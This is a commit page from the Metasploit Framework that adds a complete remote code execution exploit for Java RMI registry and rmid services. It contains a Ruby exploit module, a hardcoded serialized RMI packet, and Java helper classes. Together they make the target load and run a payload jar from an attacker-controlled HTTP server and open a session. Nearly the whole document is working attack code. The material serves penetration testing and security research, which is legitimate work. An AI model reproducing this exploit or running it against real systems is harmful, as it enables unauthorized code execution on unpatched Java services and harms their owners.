add an exploit for java's rmid and rmiregistry code-execution-by-design and supporting source. fixes #4378, thanks mihi!
git-svn-id: file:///home/svn/framework3/trunk@13185 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
1162aafa1e
commit
1d25a6d7d1
Binary file not shown.
Binary file not shown.
|
@ -66,12 +66,43 @@
|
|||
<delete file="build/metasploit.dat"/>
|
||||
</target>
|
||||
|
||||
<target name="deploy" depends="compile">
|
||||
<target name="buildrmi" depends="compile">
|
||||
<!-- build dummy jar used for capturing communication and for testing -->
|
||||
<propertyfile file="build/metasploit.dat">
|
||||
<entry key="LPORT" value="4444" />
|
||||
<entry key="LHOST" value="127.0.0.1" />
|
||||
</propertyfile>
|
||||
<jar destfile="rmidummy.jar">
|
||||
<manifest>
|
||||
<attribute name="Main-Class" value="metasploit.Payload"/>
|
||||
</manifest>
|
||||
<fileset dir="build">
|
||||
<include name="metasploit/RMILoader.class"/>
|
||||
<include name="metasploit/RMIPayload.class"/>
|
||||
<include name="metasploit/Payload.class"/>
|
||||
<include name="metasploit.dat"/>
|
||||
</fileset>
|
||||
</jar>
|
||||
|
||||
<!-- rename local metasploit/RMILoader.class to ensure a classloader URL will be serialized -->
|
||||
<move file="build/metasploit/RMILoader.class" tofile="build/metasploit/RMILoader.class.tmp" />
|
||||
|
||||
<!-- run the capture server -->
|
||||
<java classpath="build" classname="rmi.RMICaptureServer" />
|
||||
|
||||
<!-- rename back -->
|
||||
<move file="build/metasploit/RMILoader.class.tmp" tofile="build/metasploit/RMILoader.class" />
|
||||
</target>
|
||||
|
||||
<target name="deploy" depends="compile,buildrmi">
|
||||
<copy todir="../../../data/java">
|
||||
<fileset dir="build">
|
||||
<exclude name="javapayload/stage/JSh*.class" />
|
||||
<exclude name="javapayload/stage/SendParameters.class" />
|
||||
<exclude name="javapayload/stage/SystemInfo.class" />
|
||||
<exclude name="metasploit/PayloadApplet.class" />
|
||||
<exclude name="rmi/**" />
|
||||
<exclude name="metasploit.dat" />
|
||||
</fileset>
|
||||
</copy>
|
||||
</target>
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
package rmi;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InterruptedIOException;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.rmi.UnmarshalException;
|
||||
|
||||
public class RMICaptureServer {
|
||||
|
||||
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
FileOutputStream fos = new FileOutputStream("build/rmipacket");
|
||||
ServerSocket ss = new ServerSocket(11099);
|
||||
Thread t = new Thread(new Runnable() {
|
||||
public void run() {
|
||||
try {
|
||||
RMISender.main(new String[] {"file:./rmidummy.jar", "localhost", "11099"});
|
||||
} catch (UnmarshalException ex) {
|
||||
// expected
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
});
|
||||
t.setDaemon(true);
|
||||
t.start();
|
||||
Socket s = ss.accept();
|
||||
ss.close();
|
||||
DataInputStream in = new DataInputStream(s.getInputStream());
|
||||
DataOutputStream out = new DataOutputStream(s.getOutputStream());
|
||||
|
||||
byte[] hdr = new byte[7];
|
||||
in.readFully(hdr);
|
||||
if (!new String(hdr, "ISO-8859-1").equals("JRMI\0\2K"))
|
||||
throw new IOException("Unsupported RMI header");
|
||||
|
||||
out.write('N');
|
||||
out.writeUTF("127.0.0.1");
|
||||
out.writeInt(11099);
|
||||
out.flush();
|
||||
|
||||
in.readUTF();
|
||||
in.readInt();
|
||||
|
||||
s.setSoTimeout(1000);
|
||||
try {
|
||||
byte[] buf = new byte[4096];
|
||||
int len;
|
||||
while ((len = in.read(buf)) != -1) {
|
||||
fos.write(buf, 0, len);
|
||||
}
|
||||
} catch (InterruptedIOException ex) {
|
||||
// we are done
|
||||
}
|
||||
fos.close();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,37 @@
|
|||
package rmi;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.Socket;
|
||||
|
||||
public class RMIReplaySender {
|
||||
|
||||
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
File rmipacket = new File("build/rmipacket");
|
||||
System.out.println(rmipacket.length());
|
||||
DataInputStream in = new DataInputStream(new FileInputStream(rmipacket));
|
||||
byte[] packetBytes = new byte[(int)rmipacket.length()];
|
||||
in.readFully(packetBytes);
|
||||
in.close();
|
||||
|
||||
String url = args[0];
|
||||
String dummyURL = "file:./rmidummy.jar";
|
||||
|
||||
String packetStr = new String(packetBytes, "ISO-8859-1");
|
||||
int pos = packetStr.indexOf((char)0+""+(char)dummyURL.length() + dummyURL);
|
||||
packetStr = packetStr.substring(0, pos+1) + (char)url.length() + url + packetStr.substring(pos + 2 + dummyURL.length());
|
||||
packetBytes = packetStr.getBytes("ISO-8859-1");
|
||||
|
||||
Socket s = new Socket(args[1],Integer.parseInt(args[2]));
|
||||
OutputStream out = s.getOutputStream();
|
||||
out.write("JRMI\0\2K\0\0\0\0\0\0".getBytes("ISO-8859-1"));
|
||||
out.write(packetBytes);
|
||||
out.flush();
|
||||
Thread.sleep(500);
|
||||
s.close();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,36 @@
|
|||
package rmi;
|
||||
|
||||
import java.io.ObjectOutput;
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.Operation;
|
||||
import java.rmi.server.RemoteCall;
|
||||
|
||||
import sun.rmi.server.UnicastRef2;
|
||||
import sun.rmi.transport.DGCImpl_Stub;
|
||||
import sun.rmi.transport.Endpoint;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
public class RMISender {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
Endpoint endpoint = new TCPEndpoint(args[1], Integer.parseInt(args[2]));
|
||||
URLClassLoader ucl = new URLClassLoader(new URL[] {new URL(args[0])});
|
||||
Object loader = ucl.loadClass("metasploit.RMILoader").newInstance();
|
||||
UnicastRef2 ref = new UnicastRef2(new LiveRef(new ObjID(ObjID.DGC_ID), endpoint, false));
|
||||
DGCImpl_Stub stub = new DGCImpl_Stub(ref);
|
||||
Field f = stub.getClass().getDeclaredField("operations");;
|
||||
f.setAccessible(true);
|
||||
RemoteCall remotecall = ref.newCall(stub, (Operation[])f.get(stub), 0, 0xf6b6898d8bf28643L);
|
||||
ObjectOutput objectoutput = remotecall.getOutputStream();
|
||||
objectoutput.writeObject(new ObjID[0]);
|
||||
objectoutput.writeLong(0);
|
||||
objectoutput.writeObject(loader);
|
||||
objectoutput.writeBoolean(false);
|
||||
ref.invoke(remotecall);
|
||||
ref.done(remotecall);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,150 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
|
||||
'Description' => %q{
|
||||
This module takes advantage of the default configuration of the RMI Registry and
|
||||
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
|
||||
invokes a method in the RMI Distributed Garbage Collector which is available via every
|
||||
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
|
||||
(custom) RMI endpoints as well.
|
||||
|
||||
Note that it does not work against Java Management Extension (JMX) ports since those do
|
||||
not support remote class loading, unless another RMI endpoint is active in the same
|
||||
Java process.
|
||||
|
||||
RMI method calls do not support or require any sort of authentication.
|
||||
},
|
||||
'Author' => [ 'mihi' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
# RMI protocol specification
|
||||
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
|
||||
],
|
||||
'Platform' => ['java', 'win', 'osx', 'linux', 'solaris'],
|
||||
'Privileged' => true,
|
||||
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
'Platform' => ['java'],
|
||||
'Arch' => ARCH_JAVA
|
||||
}
|
||||
],
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X PPC (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_PPC,
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1
|
||||
))
|
||||
register_options( [ Opt::RPORT(1099) ], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
start_service()
|
||||
connect
|
||||
|
||||
jar = rand_text_alpha(rand(8)+1) + '.jar'
|
||||
old_url = "file:./rmidummy.jar"
|
||||
new_url = get_uri + '/' + jar
|
||||
packet = gen_rmi_packet
|
||||
# Java strings in serialized data are prefixed with a 2-byte, big endian length
|
||||
# (at least, as long as they are shorter than 65536 bytes)
|
||||
find_me = [old_url.length].pack("n") + old_url
|
||||
idx = packet.index(find_me)
|
||||
len = [new_url.length].pack("n")
|
||||
# Now replace it with the new url
|
||||
packet[idx, find_me.length] = len + new_url
|
||||
|
||||
# write out minimal header and packet
|
||||
print_status("Sending request for #{new_url}")
|
||||
#sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet);
|
||||
sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet);
|
||||
|
||||
# wait for the request to be handled
|
||||
while not session_created?
|
||||
select(nil, nil, nil, 0.25)
|
||||
handler()
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri =~ /\.jar$/i
|
||||
p = regenerate_payload(cli)
|
||||
jar = p.encoded_jar
|
||||
paths = [
|
||||
[ "metasploit", "RMILoader.class" ],
|
||||
[ "metasploit", "RMIPayload.class" ],
|
||||
]
|
||||
jar.add_files(paths, [ Msf::Config.data_directory, "java" ])
|
||||
|
||||
send_response(cli, jar.pack,
|
||||
{
|
||||
'Content-Type' => 'application/java-archive',
|
||||
'Connection' => 'close',
|
||||
'Pragma' => 'no-cache'
|
||||
})
|
||||
|
||||
print_status("Replied to Request for Payload JAR")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def gen_rmi_packet
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
|
||||
"\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
|
||||
"\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
|
||||
"\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" +
|
||||
"\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" +
|
||||
"\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" +
|
||||
"\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a"
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue